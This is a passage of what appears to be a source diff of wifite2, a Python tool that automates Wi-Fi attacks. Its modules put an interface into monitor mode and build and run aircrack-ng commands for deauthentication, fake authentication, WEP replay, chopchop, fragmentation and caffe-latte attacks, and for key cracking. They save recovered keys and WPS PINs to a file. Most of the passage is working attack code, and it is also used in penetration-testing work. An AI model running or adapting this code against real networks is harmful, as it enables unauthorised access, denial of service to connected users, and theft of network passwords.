s += ' ' * max(Interface.CHIPSET_LEN - len(self.chipset), 0)
return s
@staticmethod
def menu_header():
''' Colored header row for interfaces '''
s = ' '
s += 'PHY'
s += ' ' * (Interface.PHY_LEN - len("PHY"))
s += 'Interface'
s += ' ' * (Interface.NAME_LEN - len("Interface"))
s += 'Driver'
s += ' ' * (Interface.DRIVER_LEN - len("Driver"))
s += 'Chipset'
s += ' ' * (Interface.CHIPSET_LEN - len("Chipset"))
s += '\n---'
s += '-' * (Interface.PHY_LEN + Interface.NAME_LEN + Interface.DRIVER_LEN + Interface.CHIPSET_LEN)
return s
@staticmethod
def get_mac(iface=None):
from Configuration import Configuration
from Process import Process
import re
if iface is None:
Configuration.initialize()
iface = Configuration.interface
if iface is None:
raise Exception('Interface must be defined (-i)')
output = Process(['ifconfig', iface]).stdout()
mac_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1]
match = re.search(' (%s)' % mac_regex, output)
if not match:
match = re.search('unspec (%s)' % mac_regex, output)
if not match:
raise Exception('Could not find the mac address for %s' % iface)
return match.groups()[0].replace('-', ':')
if __name__ == '__main__':
mac = Interface.get_mac()
print 'wlan0mon mac address:', mac

91
wifite/model/result.py Executable file
View File

@@ -0,0 +1,91 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..util.color import Color
import os
import time
from json import loads, dumps
class CrackResult(object):
''' Abstract class containing results from a crack session '''
# File to save cracks to, in PWD
cracked_file = "cracked.txt"
def __init__(self):
self.date = int(time.time())
def dump(self):
raise Exception("Unimplemented method: dump()")
def to_dict(self):
raise Exception("Unimplemented method: to_dict()")
def save(self):
''' Adds this crack result to the cracked file and saves it. '''
name = CrackResult.cracked_file
json = []
if os.path.exists(name):
with open(name, 'r') as fid:
text = fid.read()
try:
json = loads(text)
except Exception, e:
Color.pl('{!} error while loading %s: %s' % (name, str(e)))
json.append(self.to_dict())
with open(name, 'w') as fid:
fid.write(dumps(json, indent=2))
Color.pl('{+} saved crack result to {C}%s{W} ({G}%d total{W})'
% (name, len(json)))
@classmethod
def load_all(cls):
if not os.path.exists(cls.cracked_file): return []
with open(cls.cracked_file, "r") as json_file:
json = loads(json_file.read())
return json
@staticmethod
def load(json):
''' Returns an instance of the appropriate object given a json instance '''
if json['type'] == 'WPA':
from CrackResultWPA import CrackResultWPA
result = CrackResultWPA(json['bssid'],
json['essid'],
json['handshake_file'],
json['key'])
elif json['type'] == 'WEP':
from CrackResultWEP import CrackResultWEP
result = CrackResultWEP(json['bssid'],
json['essid'],
json['hex_key'],
json['ascii_key'])
elif json['type'] == 'WPS':
from CrackResultWPS import CrackResultWPS
result = CrackResultWPS(json['bssid'],
json['essid'],
json['pin'],
json['psk'])
result.date = json['date']
return result
if __name__ == '__main__':
# Deserialize WPA object
Color.pl('\nCracked WPA:')
json = loads('{"bssid": "AA:BB:CC:DD:EE:FF", "essid": "Test Router", "key": "Key", "date": 1433402428, "handshake_file": "hs/capfile.cap", "type": "WPA"}')
obj = CrackResult.load(json)
obj.dump()
# Deserialize WEP object
Color.pl('\nCracked WEP:')
json = loads('{"bssid": "AA:BB:CC:DD:EE:FF", "hex_key": "00:01:02:03:04", "ascii_key": "abcde", "essid": "Test Router", "date": 1433402915, "type": "WEP"}')
obj = CrackResult.load(json)
obj.dump()
# Deserialize WPS object
Color.pl('\nCracked WPS:')
json = loads('{"psk": "the psk", "bssid": "AA:BB:CC:DD:EE:FF", "pin": "01234567", "essid": "Test Router", "date": 1433403278, "type": "WPS"}')
obj = CrackResult.load(json)
obj.dump()

151
wifite/model/target.py Executable file
View File

@@ -0,0 +1,151 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from wifite.util.color import Color
import re
class Target(object):
'''
Holds details for a "Target" aka Access Point (e.g. router).
'''
def __init__(self, fields):
'''
Initializes & stores target info based on fields.
Args:
Fields - List of strings
INDEX KEY EXAMPLE
0 BSSID (00:1D:D5:9B:11:00)
1 First time seen (2015-05-27 19:28:43)
2 Last time seen (2015-05-27 19:28:46)
3 channel (6)
4 Speed (54)
5 Privacy (WPA2)
6 Cipher (CCMP TKIP)
7 Authentication (PSK)
8 Power (-62)
9 beacons (2)
10 # IV (0)
11 LAN IP (0. 0. 0. 0)
12 ID-length (9)
13 ESSID (HOME-ABCD)
14 Key ()
'''
self.bssid = fields[0].strip()
self.channel = fields[3].strip()
self.encryption = fields[5].strip()
if 'WPA' in self.encryption:
self.encryption = 'WPA'
elif 'WEP' in self.encryption:
self.encryption = 'WEP'
if len(self.encryption) > 4:
self.encryption = self.encryption[0:4].strip()
self.power = int(fields[8].strip())
if self.power < 0:
self.power += 100
self.beacons = int(fields[9].strip())
self.ivs = int(fields[10].strip())
self.essid_known = True
self.essid_len = int(fields[12].strip())
self.essid = fields[13].strip()
if self.essid == '\\x00' * self.essid_len or self.essid.strip() == '':
# Don't display "\x00..." for hidden ESSIDs
self.essid = None # '(%s)' % self.bssid
self.essid_known = False
self.wps = None
self.clients = []
self.validate()
def validate(self):
''' Checks that the target is valid. '''
if self.channel == "-1":
raise Exception("Ignoring target with Negative-One (-1) channel")
# Filter broadcast/multicast BSSIDs, see https://github.com/derv82/wifite2/issues/32
bssid_broadcast = re.compile(r"^(ff:ff:ff:ff:ff:ff|00:00:00:00:00:00)$", re.IGNORECASE)
if bssid_broadcast.match(self.bssid):
raise Exception("Ignoring target with Broadcast BSSID (%s)" % self.bssid)
bssid_multicast = re.compile(r"^(01:00:5e|01:80:c2|33:33)", re.IGNORECASE)
if bssid_multicast.match(self.bssid):
raise Exception("Ignoring target with Multicast BSSID (%s)" % self.bssid)
def to_str(self, show_bssid=False):
'''
*Colored* string representation of this Target.
Specifically formatted for the "scanning" table view.
'''
max_essid_len = 25
essid = self.essid if self.essid_known else "(%s)" % self.bssid
# Trim ESSID (router name) if needed
if len(essid) > max_essid_len:
essid = essid[0:max_essid_len-3] + '...'
else:
essid = essid.rjust(max_essid_len)
if self.essid_known:
# Known ESSID
essid = Color.s("{C}%s" % essid)
else:
# Unknown ESSID
essid = Color.s("{O}%s" % essid)
if show_bssid:
bssid = Color.s('{O}%s ' % self.bssid)
else:
bssid = ''
channel_color = "{G}"
if int(self.channel) > 14:
channel_color = "{C}"
channel = Color.s("%s%s" % (channel_color, str(self.channel).rjust(3)))
encryption = self.encryption.rjust(4)
if 'WEP' in encryption:
encryption = Color.s("{G}%s" % encryption)
elif 'WPA' in encryption:
encryption = Color.s("{O}%s" % encryption)
power = '%sdb' % str(self.power).rjust(3)
if self.power > 50:
color ='G'
elif self.power > 35:
color = 'O'
else:
color = 'R'
power = Color.s('{%s}%s' % (color, power))
wps = Color.s('{O} n/a')
if self.wps == True:
wps = Color.s('{G} yes')
elif self.wps == False:
wps = Color.s('{R} no')
else:
wps = Color.s('{O} n/a')
clients = ' '
if len(self.clients) > 0:
clients = Color.s('{G} ' + str(len(self.clients)))
result = '%s %s%s %s %s %s %s' % (
essid, bssid, channel, encryption, power, wps, clients)
result += Color.s("{W}")
return result
if __name__ == '__main__':
fields = 'AA:BB:CC:DD:EE:FF,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,HOME-ABCD,'.split(',')
t = Target(fields)
t.clients.append("asdf")
t.clients.append("asdf")
print t.to_str()

41
wifite/model/wep_result.py Executable file
View File

@@ -0,0 +1,41 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..util.color import Color
from .result import CrackResult
import time
class CrackResultWEP(CrackResult):
def __init__(self, bssid, essid, hex_key, ascii_key):
self.result_type = 'WEP'
self.bssid = bssid
self.essid = essid
self.hex_key = hex_key
self.ascii_key = ascii_key
super(CrackResultWEP, self).__init__()
def dump(self):
if self.essid:
Color.pl('{+} ESSID: {C}%s{W}' % self.essid)
Color.pl('{+} BSSID: {C}%s{W}' % self.bssid)
Color.pl('{+} Encryption: {C}%s{W}' % self.result_type)
Color.pl('{+} Hex Key: {G}%s{W}' % self.hex_key)
if self.ascii_key:
Color.pl('{+} Ascii Key: {G}%s{W}' % self.ascii_key)
def to_dict(self):
return {
'type' : self.result_type,
'date' : self.date,
'essid' : self.essid,
'bssid' : self.bssid,
'hex_key' : self.hex_key,
'ascii_key' : self.ascii_key
}
if __name__ == '__main__':
crw = CrackResultWEP('AA:BB:CC:DD:EE:FF', 'Test Router', '00:01:02:03:04', 'abcde')
crw.dump()
crw.save()

52
wifite/model/wpa_result.py Executable file
View File

@@ -0,0 +1,52 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..util.color import Color
from .result import CrackResult
class CrackResultWPA(CrackResult):
def __init__(self, bssid, essid, handshake_file, key):
self.result_type = 'WPA'
self.bssid = bssid
self.essid = essid
self.handshake_file = handshake_file
self.key = key
super(CrackResultWPA, self).__init__()
def dump(self):
if self.essid:
Color.pl('{+} %s: {C}%s{W}' %
('Access Point Name'.rjust(19), self.essid))
if self.bssid:
Color.pl('{+} %s: {C}%s{W}' %
('Access Point BSSID'.rjust(19), self.bssid))
Color.pl('{+} %s: {C}%s{W}' %
('Encryption'.rjust(19), self.result_type))
if self.handshake_file:
Color.pl('{+} %s: {C}%s{W}' %
('Handshake File'.rjust(19), self.handshake_file))
if self.key:
Color.pl('{+} %s: {G}%s{W}' % ('PSK (password)'.rjust(19), self.key))
else:
Color.pl('{!} %s {O}key unknown{W}' % ''.rjust(19))
def to_dict(self):
return {
'type' : self.result_type,
'date' : self.date,
'essid' : self.essid,
'bssid' : self.bssid,
'key' : self.key,
'handshake_file' : self.handshake_file
}
if __name__ == '__main__':
w = CrackResultWPA('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/capfile.cap', 'abcd1234')
w.dump()
w = CrackResultWPA('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/capfile.cap', 'Key')
print '\n'
w.dump()
w.save()
print w.__dict__['bssid']

44
wifite/model/wps_result.py Executable file
View File

@@ -0,0 +1,44 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..util.color import Color
from ..model.result import CrackResult
import time
class CrackResultWPS(CrackResult):
def __init__(self, bssid, essid, pin, psk):
self.result_type = 'WPS'
self.bssid = bssid
self.essid = essid
self.pin = pin
self.psk = psk
super(CrackResultWPS, self).__init__()
def dump(self):
if self.essid is not None:
Color.pl('{+} %s: {C}%s{W}' % ( 'ESSID'.rjust(12), self.essid))
if self.psk is None:
psk = '{O}N/A{W}'
else:
psk = '{G}%s{W}' % self.psk
Color.pl('{+} %s: {C}%s{W}' % ( 'BSSID'.rjust(12), self.bssid))
Color.pl('{+} %s: {C}WPA{W} ({C}WPS{W})' % 'Encryption'.rjust(12))
Color.pl('{+} %s: {G}%s{W}' % ( 'WPS PIN'.rjust(12), self.pin))
Color.pl('{+} %s: {G}%s{W}' % ('PSK/Password'.rjust(12), psk))
def to_dict(self):
return {
'type' : self.result_type,
'date' : self.date,
'essid' : self.essid,
'bssid' : self.bssid,
'pin' : self.pin,
'psk' : self.psk
}
if __name__ == '__main__':
crw = CrackResultWPS('AA:BB:CC:DD:EE:FF', 'Test Router', '01234567', 'the psk')
crw.dump()
crw.save()

0
wifite/tools/__init__.py Normal file
View File

82
wifite/tools/aircrack.py Executable file
View File

@@ -0,0 +1,82 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..util.process import Process
from ..config import Configuration
import os
class Aircrack(object):
def __init__(self, ivs_file=None):
self.cracked_file = Configuration.temp() + 'wepkey.txt'
# Delete previous cracked files
if os.path.exists(self.cracked_file):
os.remove(self.cracked_file)
command = [
'aircrack-ng',
'-a', '1',
'-l', self.cracked_file,
ivs_file
]
self.pid = Process(command, devnull=True)
def is_running(self):
return self.pid.poll() is None
def is_cracked(self):
return os.path.exists(self.cracked_file)
def stop(self):
''' Stops aircrack process '''
if self.pid.poll() is None:
self.pid.interrupt()
def get_key_hex_ascii(self):
if not self.is_cracked():
raise Exception('Cracked file not found')
with open(self.cracked_file, 'r') as fid:
hex_raw = fid.read()
hex_key = ''
ascii_key = ''
while len(hex_raw) > 0:
# HEX
if hex_key != '':
hex_key += ':'
hex_key += hex_raw[0:2]
# ASCII
# Convert hex to decimal
code = int(hex_raw[0:2], 16)
if code < 32 or code > 127:
# Hex key is non-printable in ascii
ascii_key = None
continue
elif ascii_key is None:
# We can't generate an Ascii key
continue
# Convert decimal to char
ascii_key += chr(code)
# Trim first two characters
hex_raw = hex_raw[2:]
continue
return (hex_key, ascii_key)
if __name__ == '__main__':
from time import sleep
Configuration.initialize(False)
a = Aircrack('tests/files/wep-crackable.ivs')
while a.is_running():
sleep(1)
if a.is_cracked():
print "cracked!"
print '(hex, ascii) =', a.get_key_hex_ascii()
else:
print "Not cracked"
Configuration.exit_gracefully(0)

407
wifite/tools/aireplay.py Executable file
View File

@@ -0,0 +1,407 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..config import Configuration
from ..util.process import Process
from ..util.timer import Timer
import os, time, re
from threading import Thread
class WEPAttackType(object):
''' Enumeration of different WEP attack types '''
fakeauth = 0
replay = 1
chopchop = 2
fragment = 3
caffelatte = 4
p0841 = 5
hirte = 6
forgedreplay = 7
def __init__(self, var):
'''
Sets appropriate attack name/value given an input.
Args:
var - Can be a string, number, or WEPAttackType object
This object's name & value is set depending on var.
'''
self.value = None
self.name = None
if type(var) is int:
for (name,value) in WEPAttackType.__dict__.iteritems():
if type(value) is int:
if value == var:
self.name = name
self.value = value
return
raise Exception("Attack number %d not found" % var)
elif type(var) is str:
for (name,value) in WEPAttackType.__dict__.iteritems():
if type(value) is int:
if name == var:
self.name = name
self.value = value
return
raise Exception("Attack name %s not found" % var)
elif type(var) == WEPAttackType:
self.name = var.name
self.value = var.value
else:
raise Exception("Attack type not supported")
def __str__(self):
return self.name
class Aireplay(Thread):
def __init__(self, target, attack_type, client_mac=None, replay_file=None):
'''
Starts aireplay process.
Args:
target - Instance of Target object, AP to attack.
attack_type - str, e.g. "fakeauth", "arpreplay", etc.
client_mac - MAC address of an associated client.
'''
super(Aireplay, self).__init__() # Init the parent Thread
self.target = target
self.output_file = Configuration.temp("aireplay_%s.output" % attack_type)
self.attack_type = WEPAttackType(attack_type).value
self.error = None
self.status = None
self.cmd = Aireplay.get_aireplay_command(self.target,
attack_type,
client_mac=client_mac,
replay_file=replay_file)
self.pid = Process(self.cmd,
stdout=open(self.output_file, 'a'),
stderr=Process.devnull(),
cwd=Configuration.temp())
self.start()
def is_running(self):
return self.pid.poll() is None
def stop(self):
''' Stops aireplay process '''
if hasattr(self, "pid") and self.pid and self.pid.poll() is None:
self.pid.interrupt()
def get_output(self):
''' Returns stdout from aireplay process '''
return self.pid.stdout()
def run(self):
while self.pid.poll() is None:
time.sleep(0.1)
if not os.path.exists(self.output_file): continue
# Read output file & clear output file
with open(self.output_file, "r+") as fid:
lines = fid.read()
fid.seek(0)
fid.truncate()
for line in lines.split("\n"):
line = line.replace("\r", "").strip()
if line == "": continue
if "Notice: got a deauth/disassoc packet" in line:
self.error = "Not associated (needs fakeauth)"
if self.attack_type == WEPAttackType.fakeauth:
# Look for fakeauth status. Potential Output lines:
# (START): 00:54:58 Sending Authentication Request (Open System)
if "Sending Authentication Request " in line:
self.status = None # Reset
# (????): Please specify an ESSID (-e).
elif "Please specify an ESSID" in line:
self.status = None
# (FAIL): 00:57:43 Got a deauthentication packet! (Waiting 3 seconds)
elif "Got a deauthentication packet!" in line:
self.status = False
# (PASS): 20:17:25 Association successful :-) (AID: 1)
# (PASS): 20:18:55 Reassociation successful :-) (AID: 1)
elif "association successful :-)" in line.lower():
self.status = True
elif self.attack_type == WEPAttackType.chopchop:
# Look for chopchop status. Potential output lines:
# (START) Read 178 packets...
read_re = re.compile(r"Read (\d+) packets")
matches = read_re.match(line)
if matches:
self.status = "Waiting for packet (read %s)..." % matches.group(1)
# (DURING) Offset 52 (54% done) | xor = DE | pt = E0 | 152 frames written in 2782ms
offset_re = re.compile(r"Offset.*\(\s*(\d+%) done\)")
matches = offset_re.match(line)
if matches:
self.status = "Generating Xor (%s)" % matches.group(1)
# (DONE) Saving keystream in replay_dec-0516-202246.xor
saving_re = re.compile(r"Saving keystream in (.*\.xor)")
matches = saving_re.match(line)
if matches:
self.status = matches.group(1)
pass
elif self.attack_type == WEPAttackType.fragment:
# TODO: Parse fragment output, update self.status
# 01:08:15 Waiting for a data packet...
# 01:08:17 Sending fragmented packet
# 01:08:37 Still nothing, trying another packet...
# XX:XX:XX Trying to get 1500 bytes of a keystream
# XX:XX:XX Got RELAYED packet!!
# XX:XX:XX Thats our ARP packet!
# XX:XX:XX Saving keystream in fragment-0124-161129.xor
# XX:XX:XX Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
pass
else: # Replay, forged replay, etc.
# Parse Packets Sent & PacketsPerSecond. Possible output lines:
# Read 55 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)
# Read 4467 packets (got 1425 ARP requests and 1417 ACKs), sent 1553 packets...(100 pps)
read_re = re.compile(r"Read (\d+) packets \(got (\d+) ARP requests and (\d+) ACKs\), sent (\d+) packets...\((\d+) pps\)")
matches = read_re.match(line)
if matches:
pps = matches.group(5)
if pps == "0":
self.status = "Waiting for packet..."
else:
self.status = "Replaying packet @ %s/sec" % pps
pass
def __del__(self):
self.stop()
@staticmethod
def get_aireplay_command(target, attack_type,
client_mac=None, replay_file=None):
'''
Generates aireplay command based on target and attack type
Args:
target - Instance of Target object, AP to attack.
attack_type - int, str, or WEPAttackType instance.
client_mac - MAC address of an associated client.
replay_file - .Cap file to replay via --arpreplay
'''
# Interface is required at this point
Configuration.initialize()
if Configuration.interface is None:
raise Exception("Wireless interface must be defined (-i)")
cmd = ["aireplay-ng"]
cmd.append("--ignore-negative-one")
if not client_mac and len(target.clients) > 0:
# Client MAC wasn't specified, but there's an associated client. Use that.
client_mac = target.clients[0].station
# type(attack_type) might be str, int, or WEPAttackType.
# Find the appropriate attack enum.
attack_type = WEPAttackType(attack_type).value
if attack_type == WEPAttackType.fakeauth:
cmd.extend([
"--fakeauth", "30", # Fake auth every 30 seconds
"-Q", # Send re-association packets
"-a", target.bssid
])
if target.essid_known:
cmd.extend(["-e", target.essid])
elif attack_type == WEPAttackType.replay:
cmd.extend([
"--arpreplay",
"-b", target.bssid,
"-x", str(Configuration.wep_pps)
])
if client_mac:
cmd.extend(["-h", client_mac])
elif attack_type == WEPAttackType.chopchop:
cmd.extend([
"--chopchop",
"-b", target.bssid,
"-x", str(Configuration.wep_pps),
#"-m", "60", # Minimum packet length (bytes)
#"-n", "82", # Maximum packet length
"-F" # Automatically choose first packet
])
if client_mac:
cmd.extend(["-h", client_mac])
elif attack_type == WEPAttackType.fragment:
cmd.extend([
"--fragment",
"-b", target.bssid,
"-x", str(Configuration.wep_pps),
"-m", "100", # Minimum packet length (bytes)
"-F" # Automatically choose first packet
])
if client_mac:
cmd.extend(["-h", client_mac])
elif attack_type == WEPAttackType.caffelatte:
if len(target.clients) == 0:
# Unable to carry out caffe-latte attack
raise Exception("Client is required for caffe-latte attack")
cmd.extend([
"--caffe-latte",
"-b", target.bssid,
"-h", target.clients[0].station
])
elif attack_type == WEPAttackType.p0841:
cmd.extend([
"--arpreplay",
"-b", target.bssid,
"-c", "ff:ff:ff:ff:ff:ff",
"-x", str(Configuration.wep_pps),
"-F", # Automatically choose first packet
"-p", "0841"
])
if client_mac:
cmd.extend(["-h", client_mac])
elif attack_type == WEPAttackType.hirte:
if client_mac is None:
# Unable to carry out hirte attack
raise Exception("Client is required for hirte attack")
cmd.extend([
"--cfrag",
"-h", client_mac
])
elif attack_type == WEPAttackType.forgedreplay:
if client_mac is None or replay_file is None:
raise Exception("Client_mac and Replay_File are required for arp replay")
cmd.extend([
"--arpreplay",
"-b", target.bssid,
"-h", client_mac,
"-r", replay_file,
"-F", # Automatically choose first packet
"-x", str(Configuration.wep_pps)
])
else:
raise Exception("Unexpected attack type: %s" % attack_type)
cmd.append(Configuration.interface)
return cmd
@staticmethod
def get_xor():
''' Finds the last .xor file in the directory '''
xor = None
for fil in os.listdir(Configuration.temp()):
if fil.startswith('replay_') and fil.endswith('.xor') or \
fil.startswith('fragment-') and fil.endswith('.xor'):
xor = fil
return xor
@staticmethod
def forge_packet(xor_file, bssid, station_mac):
''' Forges packet from .xor file '''
forged_file = 'forged.cap'
cmd = [
'packetforge-ng',
'-0',
'-a', bssid, # Target MAC
'-h', station_mac, # Client MAC
'-k', '192.168.1.2', # Dest IP
'-l', '192.168.1.100', # Source IP
'-y', xor_file, # Read PRNG from .xor file
'-w', forged_file, # Write to
Configuration.interface
]
cmd = '"%s"' % '" "'.join(cmd)
(out, err) = Process.call(cmd, cwd=Configuration.temp(), shell=True)
if out.strip() == 'Wrote packet to: %s' % forged_file:
return forged_file
else:
from Color import Color
Color.pl('{!} {R}failed to forge packet from .xor file{W}')
Color.pl('output:\n"%s"' % out)
return None
@staticmethod
def deauth(target_bssid, essid=None, client_mac=None, num_deauths=None, timeout=2):
num_deauths = num_deauths or Configuration.num_deauths
deauth_cmd = [
"aireplay-ng",
"-0", # Deauthentication
str(num_deauths),
"--ignore-negative-one",
"-a", target_bssid, # Target AP
"-D" # Skip AP detection
]
if client_mac is not None:
# Station-specific deauth
deauth_cmd.extend(["-c", client_mac])
if essid:
deauth_cmd.extend(["-e", essid])
deauth_cmd.append(Configuration.interface)
proc = Process(deauth_cmd)
while proc.poll() is None:
if proc.running_time() >= timeout:
proc.interrupt()
time.sleep(0.2)
@staticmethod
def fakeauth(target, timeout=5, num_attempts=3):
'''
Tries a one-time fake-authenticate with a target AP.
Params:
target (py.Target): Instance of py.Target
timeout (int): Time to wait for fakeuth to succeed.
num_attempts (int): Number of fakeauth attempts to make.
Returns:
(bool): True if fakeauth succeeds, otherwise False
'''
cmd = [
'aireplay-ng',
'-1', '0', # Fake auth, no delay
'-a', target.bssid,
'-T', str(num_attempts)
]
if target.essid_known:
cmd.extend(['-e', target.essid])
cmd.append(Configuration.interface)
fakeauth_proc = Process(cmd,
devnull=False,
cwd=Configuration.temp())
timer = Timer(timeout)
while fakeauth_proc.poll() is None and not timer.ended():
time.sleep(0.1)
if fakeauth_proc.poll() is None or timer.ended():
fakeauth_proc.interrupt()
return False
output = fakeauth_proc.stdout()
return 'association successful' in output.lower()
if __name__ == '__main__':
t = WEPAttackType(4)
print t.name, type(t.name), t.value
t = WEPAttackType('caffelatte')
print t.name, type(t.name), t.value
t = WEPAttackType(t)
print t.name, type(t.name), t.value
from Target import Target
fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e, WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',')
t = Target(fields)
'''
aireplay = Aireplay(t, 'replay')
while aireplay.is_running():
from time import sleep
sleep(0.1)
stdout, stderr = aireplay.get_output()
print "STDOUT>", stdout
print "STDERR>", stderr
'''
'''
forge = Aireplay.forge_packet('/tmp/replay_dec-0605-060243.xor', \
'A4:2B:8C:16:6B:3A', \
'00:C0:CA:4E:CA:E0')
print forge
'''

306
wifite/tools/airmon.py Executable file
View File

@@ -0,0 +1,306 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..model.interface import Interface
from ..util.process import Process
from ..util.color import Color
from ..config import Configuration
import re
import os
import signal
class Airmon(object):
''' Wrapper around the 'airmon-ng' program '''
base_interface = None
killed_network_manager = False
def __init__(self):
self.refresh()
def refresh(self):
''' Get airmon-recognized interfaces '''
self.interfaces = Airmon.get_interfaces()
def print_menu(self):
''' Prints menu '''
print Interface.menu_header()
for idx, iface in enumerate(self.interfaces, start=1):
Color.pl(" {G}%d{W}. %s" % (idx, iface))
def get(self, index):
''' Gets interface at index (starts at 1) '''
if type(index) is str:
index = int(index)
return self.interfaces[index - 1]
@staticmethod
def get_interfaces():
'''
Returns:
List of Interface objects known by airmon-ng
'''
interfaces = []
p = Process('airmon-ng')
for line in p.stdout().split('\n'):
# Ignore blank/header lines
if len(line) == 0 or line.startswith('Interface') or line.startswith('PHY'):
continue
# Strip out interface information
fields = line.split("\t")
while '' in fields:
fields.remove('')
# Add Interface object to list
interfaces.append(Interface(fields))
return interfaces
@staticmethod
def start(iface):
'''
Starts an interface (iface) in monitor mode
Args:
iface - The interface to start in monitor mode
Either an instance of Interface object,
or the name of the interface (string).
Returns:
Name of the interface put into monitor mode.
Throws:
Exception - If an interface can't be put into monitor mode
'''
# Get interface name from input
if type(iface) == Interface:
iface = iface.name
Airmon.base_interface = iface
# Call airmon-ng
Color.p("{+} enabling {G}monitor mode{W} on {C}%s{W}... " % iface)
(out,err) = Process.call('airmon-ng start %s' % iface)
# Find the interface put into monitor mode (if any)
mon_iface = None
for line in out.split('\n'):
if 'monitor mode' in line and 'enabled' in line and ' on ' in line:
mon_iface = line.split(' on ')[1]
if ']' in mon_iface:
mon_iface = mon_iface.split(']')[1]
if ')' in mon_iface:
mon_iface = mon_iface.split(')')[0]
break
if mon_iface is None:
# Airmon did not enable monitor mode on an interface
Color.pl("{R}failed{W}")
mon_ifaces = Airmon.get_interfaces_in_monitor_mode()
# Assert that there is an interface in monitor mode
if len(mon_ifaces) == 0:
Color.pl("{R}failed{W}")
raise Exception("iwconfig does not see any interfaces in Mode:Monitor")
# Assert that the interface enabled by airmon-ng is in monitor mode
if mon_iface not in mon_ifaces:
Color.pl("{R}failed{W}")
raise Exception("iwconfig does not see %s in Mode:Monitor" % mon_iface)
# No errors found; the device 'mon_iface' was put into MM.
Color.pl("{G}enabled {C}%s{W}" % mon_iface)
Configuration.interface = mon_iface
return mon_iface
@staticmethod
def stop(iface):
Color.p("{!} {R}disabling {O}monitor mode{O} on {R}%s{O}... " % iface)
(out,err) = Process.call('airmon-ng stop %s' % iface)
mon_iface = None
for line in out.split('\n'):
# aircrack-ng 1.2 rc2
if 'monitor mode' in line and 'disabled' in line and ' for ' in line:
mon_iface = line.split(' for ')[1]
if ']' in mon_iface:
mon_iface = mon_iface.split(']')[1]
if ')' in mon_iface:
mon_iface = mon_iface.split(')')[0]
break
# aircrack-ng 1.2 rc1
match = re.search('([a-zA-Z0-9]+).*\(removed\)', line)
if match:
mon_iface = match.groups()[0]
break
if mon_iface:
Color.pl('{R}disabled %s{W}' % mon_iface)
else:
Color.pl('{O}could not disable on {R}%s{W}' % iface)
@staticmethod
def get_interfaces_in_monitor_mode():
'''
Uses 'iwconfig' to find all interfaces in monitor mode
Returns:
List of interface names that are in monitor mode
'''
interfaces = []
(out, err) = Process.call("iwconfig")
for line in out.split("\n"):
if len(line) == 0: continue
if line[0] != ' ':
iface = line.split(' ')[0]
if '\t' in iface:
iface = iface.split('\t')[0]
if 'Mode:Monitor' in line and iface not in interfaces:
interfaces.append(iface)
return interfaces
@staticmethod
def ask():
'''
Asks user to define which wireless interface to use.
Does not ask if:
1. There is already an interface in monitor mode, or
2. There is only one wireles interface (automatically selected).
Puts selected device into Monitor Mode.
'''
Airmon.terminate_conflicting_processes()
Color.pl('\n{+} looking for {C}wireless interfaces{W}')
mon_ifaces = Airmon.get_interfaces_in_monitor_mode()
mon_count = len(mon_ifaces)
if mon_count == 1:
# Assume we're using the device already in montior mode
iface = mon_ifaces[0]
Color.pl('{+} using interface {G}%s{W} which is already in monitor mode'
% iface);
Airmon.base_interface = None
return iface
a = Airmon()
count = len(a.interfaces)
if count == 0:
# No interfaces found
Color.pl('\n{!} {O}airmon-ng did not find {R}any{O} wireless interfaces')
Color.pl('{!} {O}make sure your wireless device is connected')
Color.pl('{!} {O}see {C}http://www.aircrack-ng.org/doku.php?id=airmon-ng{O} for more info{W}')
raise Exception('airmon-ng did not find any wireless interfaces')
Color.pl('')
a.print_menu()
Color.pl('')
if count == 1:
# Only one interface, assume this is the one to use
choice = 1
else:
# Multiple interfaces found
question = Color.s("{+} select interface ({G}1-%d{W}): " % (count))
choice = raw_input(question)
iface = a.get(choice)
if a.get(choice).name in mon_ifaces:
Color.pl('{+} {G}%s{W} is already in monitor mode' % iface.name)
else:
iface.name = Airmon.start(iface)
return iface.name
@staticmethod
def terminate_conflicting_processes():
''' Deletes conflicting processes reported by airmon-ng '''
'''
% airmon-ng check
Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID Name
2272 dhclient
2293 NetworkManager
3302 wpa_supplicant
'''
out = Process(['airmon-ng', 'check']).stdout()
if 'processes that could cause trouble' not in out:
# No proceses to kill
return
hit_pids = False
for line in out.split('\n'):
if re.search('^ *PID', line):
hit_pids = True
continue
if not hit_pids or line.strip() == '':
continue
match = re.search('^[ \t]*(\d+)[ \t]*([a-zA-Z0-9_\-]+)[ \t]*$', line)
if match:
# Found process
pid = match.groups()[0]
pname = match.groups()[1]
if Configuration.kill_conflicting_processes:
Color.pl('{!} {R}terminating {O}conflicting process {R}%s{O} (PID {R}%s{O})' % (pname, pid))
os.kill(int(pid), signal.SIGTERM)
if pname == 'NetworkManager':
Airmon.killed_network_manager= True
else:
Color.pl('{!} {O}conflicting process: {R}%s{O} (PID {R}%s{O})' % (pname, pid))
if not Configuration.kill_conflicting_processes:
Color.pl('{!} {O}if you have problems, try killing these processes ({R}kill -9 PID{O}){W}')
@staticmethod
def put_interface_up(iface):
Color.p("{!} {O}putting interface {R}%s up{O}..." % (iface))
(out,err) = Process.call('ifconfig %s up' % (iface))
Color.pl(" {R}done{W}")
@staticmethod
def start_network_manager():
Color.p("{!} {O}restarting {R}NetworkManager{O}...")
if Process.exists('service'):
cmd = 'service network-manager start'
proc = Process(cmd)
(out, err) = proc.get_output()
if proc.poll() != 0:
